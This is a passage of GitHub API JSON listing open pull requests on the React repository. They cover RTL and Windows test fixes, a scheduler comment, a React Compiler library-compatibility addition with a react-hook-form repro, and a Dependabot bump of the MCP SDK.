"https://api.github.com/users/pranamya123", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/pranamya123/react", "created_at": "2026-01-09T03:55:31Z", "updated_at": "2026-01-09T03:55:31Z", "pushed_at": "2026-01-09T04:16:01Z", "homepage": "https://react.dev", "size": 881358, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "d6cae440e34c6250928e18bed4a16480f83ae18a", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35472" }, "html": { "href": "https://github.com/facebook/react/pull/35472" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35472" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35472/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35472/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35472/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/34fc0cbba5f6fbf48d57f1a51a27ec222eaed7e5" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [ 2 ] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35470", "id": 3157013253, "node_id": "PR_kwDOAJy2Ks68LDMF", "number": 35470, "state": "open", "locked": false, "title": "Fix ViewTransition RTL handling: respect document dir for offscreen t…", "user": { "login": "Rajnish5821Kumar", "id": 157160330, "node_id": "U_kgDOCV4Tig", "avatar_url": "https://avatars.githubusercontent.com/u/157160330?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Rajnish5821Kumar", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "…ranslate and measurement; add RTL tests (#35454)\r\n\r\n\r\n\r\n## Summary\r\n\r\n\r\n\r\n## How did you test this change?\r\n\r\n\r\n", "created_at": "2026-01-08T18:06:48Z", "updated_at": "2026-01-08T18:10:22Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "8052c00fc127faee569b215efb7b0dcda1ad40ec", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "Rajnish5821Kumar:fix/viewtransition-rtl-35454", "ref": "fix/viewtransition-rtl-35454", "sha": "34283559d60d7bc24b850fdf59fb8aef0a2c20d8", "user": { "login": "Rajnish5821Kumar", "id": 157160330, "node_id": "U_kgDOCV4Tig", "avatar_url": "https://avatars.githubusercontent.com/u/157160330?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Rajnish5821Kumar", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1130465024, "node_id": "R_kgDOQ2GHAA", "name": "react", "full_name": "Rajnish5821Kumar/react", "private": false, "owner": { "login": "Rajnish5821Kumar", "id": 157160330, "node_id": "U_kgDOCV4Tig", "avatar_url": "https://avatars.githubusercontent.com/u/157160330?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Rajnish5821Kumar", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/Rajnish5821Kumar/react", "created_at": "2026-01-08T14:45:33Z", "updated_at": "2026-01-08T14:45:33Z", "pushed_at": "2026-01-15T13:19:54Z", "homepage": "https://react.dev", "size": 123596, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 1, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 1, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "d6cae440e34c6250928e18bed4a16480f83ae18a", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35470" }, "html": { "href": "https://github.com/facebook/react/pull/35470" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35470" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35470/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35470/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35470/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/34283559d60d7bc24b850fdf59fb8aef0a2c20d8" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [ 3 ] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35467", "id": 3156090069, "node_id": "PR_kwDOAJy2Ks68HhzV", "number": 35467, "state": "open", "locked": false, "title": "Fix ReactFlightAsyncDebugInfo snapshot mismatches on Windows", "user": { "login": "masoombaba16", "id": 147144105, "node_id": "U_kgDOCMU9qQ", "avatar_url": "https://avatars.githubusercontent.com/u/147144105?v=4", "gravatar_id": "", "url": "https://api.github.com/users/masoombaba16", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "## Summary\r\n\r\nFixes #35130.\r\n\r\nReactFlightAsyncDebugInfo inline snapshots fail on Windows due to\r\nplatform-specific file path separators (`\\` vs `/`) and resulting\r\nline number differences in stack traces.\r\n\r\n## How did you test this change?\r\n\r\n- Ran `yarn test ReactFlightAsyncDebugInfo` locally on Windows\r\n- Verified all tests and inline snapshots pass successfully\r\n", "created_at": "2026-01-08T13:04:12Z", "updated_at": "2026-01-08T16:09:26Z", "closed_at": null, "merged_at": null, "merge_commit_sha": null, "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "masoombaba16:fix-reactflightasyncdebuginfo-snapshot", "ref": "fix-reactflightasyncdebuginfo-snapshot", "sha": "f7ffca027978172e484de1463ba4f1eb9e98327f", "user": { "login": "masoombaba16", "id": 147144105, "node_id": "U_kgDOCMU9qQ", "avatar_url": "https://avatars.githubusercontent.com/u/147144105?v=4", "gravatar_id": "", "url": "https://api.github.com/users/masoombaba16", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1130380049, "node_id": "R_kgDOQ2A7EQ", "name": "react", "full_name": "masoombaba16/react", "private": false, "owner": { "login": "masoombaba16", "id": 147144105, "node_id": "U_kgDOCMU9qQ", "avatar_url": "https://avatars.githubusercontent.com/u/147144105?v=4", "gravatar_id": "", "url": "https://api.github.com/users/masoombaba16", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/masoombaba16/react", "created_at": "2026-01-08T12:27:14Z", "updated_at": "2026-01-08T12:27:14Z", "pushed_at": "2026-01-08T13:00:40Z", "homepage": "https://react.dev", "size": 123600, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "d6cae440e34c6250928e18bed4a16480f83ae18a", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35467" }, "html": { "href": "https://github.com/facebook/react/pull/35467" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35467" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35467/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35467/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35467/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/f7ffca027978172e484de1463ba4f1eb9e98327f" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [ 3, 35130 ] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35466", "id": 3155952016, "node_id": "PR_kwDOAJy2Ks68HAGQ", "number": 35466, "state": "open", "locked": false, "title": "Document Firefox pause/resume edge case for scheduler work state", "user": { "login": "Saniya8567-GitHub", "id": 174387770, "node_id": "U_kgDOCmTyOg", "avatar_url": "https://avatars.githubusercontent.com/u/174387770?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Saniya8567-GitHub", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "This change documents a Firefox-specific edge case where JavaScript execution\r\nmay pause due to debugger breakpoints or alert() calls while scheduler work\r\nis in progress.\r\n\r\nWhen execution resumes, the internal isPerformingWork flag may remain set if\r\ncleanup logic does not run as expected. This comment is related to issue #17355\r\nand is intended to improve maintainability and debugging.\r\n", "created_at": "2026-01-08T12:21:29Z", "updated_at": "2026-01-08T12:21:35Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "d0b28ae088853a5af06a409c7d18f0468808be0b", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": {}, "milestone": null, "draft": false, "head": { "label": "Saniya8567-GitHub:main", "ref": "main", "sha": "3f950322a017225a988ca61443c5f330d3fda135", "user": { "login": "Saniya8567-GitHub", "id": 174387770, "node_id": "U_kgDOCmTyOg", "avatar_url": "https://avatars.githubusercontent.com/u/174387770?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Saniya8567-GitHub", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1130367218, "node_id": "R_kgDOQ2AI8g", "name": "react", "full_name": "Saniya8567-GitHub/react", "private": false, "owner": { "login": "Saniya8567-GitHub", "id": 174387770, "node_id": "U_kgDOCmTyOg", "avatar_url": "https://avatars.githubusercontent.com/u/174387770?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Saniya8567-GitHub", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/Saniya8567-GitHub/react", "created_at": "2026-01-08T12:04:16Z", "updated_at": "2026-01-08T12:14:01Z", "pushed_at": "2026-01-08T12:13:45Z", "homepage": "https://react.dev", "size": 123606, "stargazers_count": 0, "watchers_count": 0, "language": "JavaScript", "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "d6cae440e34c6250928e18bed4a16480f83ae18a", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35466" }, "html": { "href": "https://github.com/facebook/react/pull/35466" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35466" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35466/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35466/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35466/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/3f950322a017225a988ca61443c5f330d3fda135" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [ 1 ] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35465", "id": 3155343822, "node_id": "PR_kwDOAJy2Ks68ErnO", "number": 35465, "state": "open", "locked": false, "title": "[compiler] Add useFormContext to known incompatible libraries", "user": { "login": "reyronald", "id": 7514993, "node_id": "MDQ6VXNlcjc1MTQ5OTM=", "avatar_url": "https://avatars.githubusercontent.com/u/7514993?v=4", "gravatar_id": "", "url": "https://api.github.com/users/reyronald", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "The original implementation in #34027 added useForm from react-hook-form to the known incompatible libraries list, but missed useFormContext. useFormContext returns the same API surface as useForm, including the watch() function that cannot be memoized safely.\r\n\r\nThis PR adds useFormContext with the same configuration as useForm\r\n\r\nI repurposed @Maxou44 's original repro repo from https://github.com/react-hook-form/react-hook-form/issues/11910 to demonstrate that the issue can be reproduced with useFormContext too, you can play around with the updated demo if you want to confirm, repo link below\r\n\r\nhttps://github.com/reyronald/issue-react-compiler-react-hook-form\r\n\r\n\r\n
Repro details\r\n\r\n```ts\r\nimport {\r\n useForm,\r\n useWatch,\r\n useFormContext,\r\n FormProvider,\r\n} from \"react-hook-form\";\r\n\r\nexport default function App() {\r\n const methods = useForm();\r\n const { register, handleSubmit, watch, control } = methods;\r\n const onSubmit = (data) => console.log(data);\r\n\r\n const test = useWatch({ control, name: \"test\" });\r\n\r\n return (\r\n
\r\n \r\n\r\n \r\n
\r\n \r\n\r\n
useForm.watch is {watch(\"test\")}
\r\n\r\n
useForm.useWatch value is {test}
\r\n\r\n \r\n\r\n \r\n
\r\n
\r\n
\r\n );\r\n}\r\n\r\nfunction Component() {\r\n const { watch, control } = useFormContext();\r\n\r\n const test = useWatch({ control, name: \"test\" });\r\n\r\n return (\r\n <>\r\n
useFormContext.watch is {watch(\"test\")}
\r\n\r\n
useForm.useWatch value is {test}
\r\n >\r\n );\r\n}\r\n```\r\n\r\n\"image\"\r\n
\r\n\r\n### References\r\n\r\n1. https://github.com/react-hook-form/react-hook-form/issues/11910\r\n2. #34027\r\n3. #34493\r\n\r\n", "created_at": "2026-01-08T08:41:32Z", "updated_at": "2026-01-08T18:18:36Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "dad7d6925007b53f11fa695c89e7ef1992f81590", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "reyronald:reyronald-useformcontext-incompatible-library", "ref": "reyronald-useformcontext-incompatible-library", "sha": "f516f675da00415f8ae5166598b7a0b6011386ea", "user": { "login": "reyronald", "id": 7514993, "node_id": "MDQ6VXNlcjc1MTQ5OTM=", "avatar_url": "https://avatars.githubusercontent.com/u/7514993?v=4", "gravatar_id": "", "url": "https://api.github.com/users/reyronald", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1130249965, "node_id": "R_kgDOQ14-7Q", "name": "react", "full_name": "reyronald/react", "private": false, "owner": { "login": "reyronald", "id": 7514993, "node_id": "MDQ6VXNlcjc1MTQ5OTM=", "avatar_url": "https://avatars.githubusercontent.com/u/7514993?v=4", "gravatar_id": "", "url": "https://api.github.com/users/reyronald", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/reyronald/react", "created_at": "2026-01-08T08:39:05Z", "updated_at": "2026-01-08T08:39:05Z", "pushed_at": "2026-01-08T08:40:34Z", "homepage": "https://react.dev", "size": 123598, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "d6cae440e34c6250928e18bed4a16480f83ae18a", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35465" }, "html": { "href": "https://github.com/facebook/react/pull/35465" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35465" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35465/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35465/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35465/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/f516f675da00415f8ae5166598b7a0b6011386ea" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [ 3 ] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35461", "id": 3153147148, "node_id": "PR_kwDOAJy2Ks678TUM", "number": 35461, "state": "open", "locked": false, "title": "Bump @modelcontextprotocol/sdk from 1.9.0 to 1.25.2 in /compiler", "user": { "login": "dependabot[bot]", "id": 49699333, "node_id": "MDM6Qm90NDk2OTkzMzM=", "avatar_url": "https://avatars.githubusercontent.com/in/29110?v=4", "gravatar_id": "", "url": "https://api.github.com/users/dependabot%5Bbot%5D", "type": "Bot", "user_view_type": "public", "site_admin": false }, "body": "Bumps [@modelcontextprotocol/sdk](https://github.com/modelcontextprotocol/typescript-sdk) from 1.9.0 to 1.25.2.\n
\nRelease notes\n

Sourced from @​modelcontextprotocol/sdk's releases.

\n
\n

v1.25.2

\n

What's Changed

\n\n

New Contributors

\n\n

Full Changelog: https://github.com/modelcontextprotocol/typescript-sdk/compare/1.25.1...v1.25.2

\n

1.25.1

\n

What's Changed

\n\n

Full Changelog: https://github.com/modelcontextprotocol/typescript-sdk/compare/1.25.0...1.25.1

\n

1.25.0

\n

What's Changed

\n\n

New Contributors

\n\n

Full Changelog: https://github.com/modelcontextprotocol/typescript-sdk/compare/1.24.3...1.25.0

\n

1.24.3

\n

What's Changed

\n\n
\n

... (truncated)

\n
\n
\nCommits\n\n
\n
\nMaintainer changes\n

This version was pushed to npm by pcarleton, a new releaser for @​modelcontextprotocol/sdk since your current version.

\n
\n
\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=@modelcontextprotocol/sdk&package-manager=npm_and_yarn&previous-version=1.9.0&new-version=1.25.2)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n
\nDependabot commands and options\n
\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/facebook/react/network/alerts).\n\n
